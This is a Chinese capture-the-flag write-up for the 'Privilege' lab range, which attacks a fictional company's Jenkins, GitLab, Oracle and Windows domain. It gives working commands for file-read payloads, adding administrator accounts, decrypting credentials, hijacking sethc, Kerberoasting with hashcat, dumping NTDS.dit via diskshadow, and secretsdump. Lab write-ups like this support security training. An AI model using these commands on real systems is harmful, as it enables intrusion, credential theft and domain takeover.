春秋云境 Privilege WP

靶标介绍

在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。
知识点:

  • Wordpress
  • Gitlab
  • Kerberos
  • 内网渗透
  • Privilege Elevation

flag01

首先 fscan 扫一波
image.png
看到备份文件,直接下载,找到了后门,简单分析可以任意文件读取
image.png
题目给出了提示如下:
image.png
于是构造 payload:
http://121.89.200.150/tools/content-log.php?logfile=C:\ProgramData\Jenkins.jenkins\secrets\initialAdminPassword
成功读取密码,然后登录 Jenkins
image.png
访问/scripts,执行如下脚本添加管理员用户:
println 'net user v2i 123456@qwe /add'.execute().text
println 'net localgroup administrators v2i /add'.execute().text
image.png
远程连接连上去,获得 flag01
image.png

flag02

上传 fscan 到内网,扫一波

172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.11:88 open
172.22.14.7:8080 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] NetInfo 
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo 
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetInfo 
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo 
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC          
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE           
[*] NetBios 172.22.14.46    XIAORANG\XR-0923              
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

简单分析如下:

  • 172.22.14.7 已经拿下
  • 172.22.14.16 gitlab
  • 172.22.14.31 WORKGROUP\XR-ORACLE
  • 172.22.14.46 XIAORANG\XR-0923
  • 172.22.14.11 DC XIAORANG\XR-DC

第二关给了提示:
image.png
所以我们去看文件:C:\ProgramData\Jenkins.jenkins\credentials.xml,从中获取了 gitlab 的密钥
image.png
但此时密钥还是加密的,所以要到刚才执行脚本的地方去解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

image.png
拿到了密钥 glpat-7kD_qLH2PiQv_ywB9hz2,去看看仓库有什么项目

proxychains curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git

在 xradmin 里面找到了数据库的用户名密码。
image.png
url: 172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf
利用 odat 执行命令,还是添加管理员用户的操作

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user test2 Abcd1234 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators test2 /add'

远程连接上去,获取 flag02
image.png

flag03

上面项目还有一个叫 internal-secret 的,看上去就不一般,下载下来是一些主机对应的用户名和密码
image.png
我们扫出来一台 0923 的主机,成功找到用户名和密码
image.png
XR-0923 | zhangshuai | wSbEajHzZs
3389 连上去

SeRestorePrivilege 提权

首先看一下账户的权限
image.png
目标开了5985 直接用 evil-winrm 即可

proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

可以发现再查看用户权限,发现多了一个SeRestorePrivilege
image.png
参考文章:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8
这个权限用来实现恢复操作,对当前系统任意文件具有写权限
image.png
所以我们尝试劫持 sthc.exe
image.png
锁定用户之后,按五下 shift,成功获取 system
image.png
拿到 flag03
image.png

flag04

这里为了方便操作,上线 msf 得到 hash

Username    Domain    NTLM                              SHA1
--------    ------    ----                              ----
XR-0923$    XIAORANG  feb526f76df5405afde7f1a4b7a223cd  be6cf47194f43157bd398e6cf0c76c298ca2e8d7
XR-0923$    XIAORANG  8519c5a89b2cd4d679a5a36f26863e5d  42d8188bc30ff0880b838e368c6e5522b86f978d
zhangshuai  XR-0923   f97d5a4b44b11bc257a63c3f76f18a9a  f6ff2714d556240436758527e190e329f05cd43d

这里利用机器账户的 hash 去 GetUserSPN,发现 tianjing 用户并且获取其 hash(忘了截图了,但是命令在下面)

proxychains python GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :feb526f76df5405afde7f1a4b7a223cd -dc-ip 172.22.14.11
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :feb526f76df5405afde7f1a4b7a223cd -dc-ip 172.22.14.11 -request-user tianjing

然后利用 hashcat 破解 hash

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

image.png
获取账户密码 tianjing:DPQSXSXgh2
使用evil-winrm登录 dc,进行简单信息搜集
image.png

卷影拷贝

有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

unix2dos raj.dsh

接下来上传到靶机,我们在C:/下随便创个目录,上传此文件,然后diskshadow /s raj.dsh
image.png
然后复制到当前目录 RoboCopy /b z:\windows\ntds . ntds.dit
然后reg save hklm\system system备份注册表,再下载到本地
image.png
然后利用 impacket-secretsdump 成功获取域管 hash,横向即可获得 flag04
image.png
image.png

posted @ 2024-02-23 17:02  fdx_xdf  阅读(350)  评论(0编辑  收藏  举报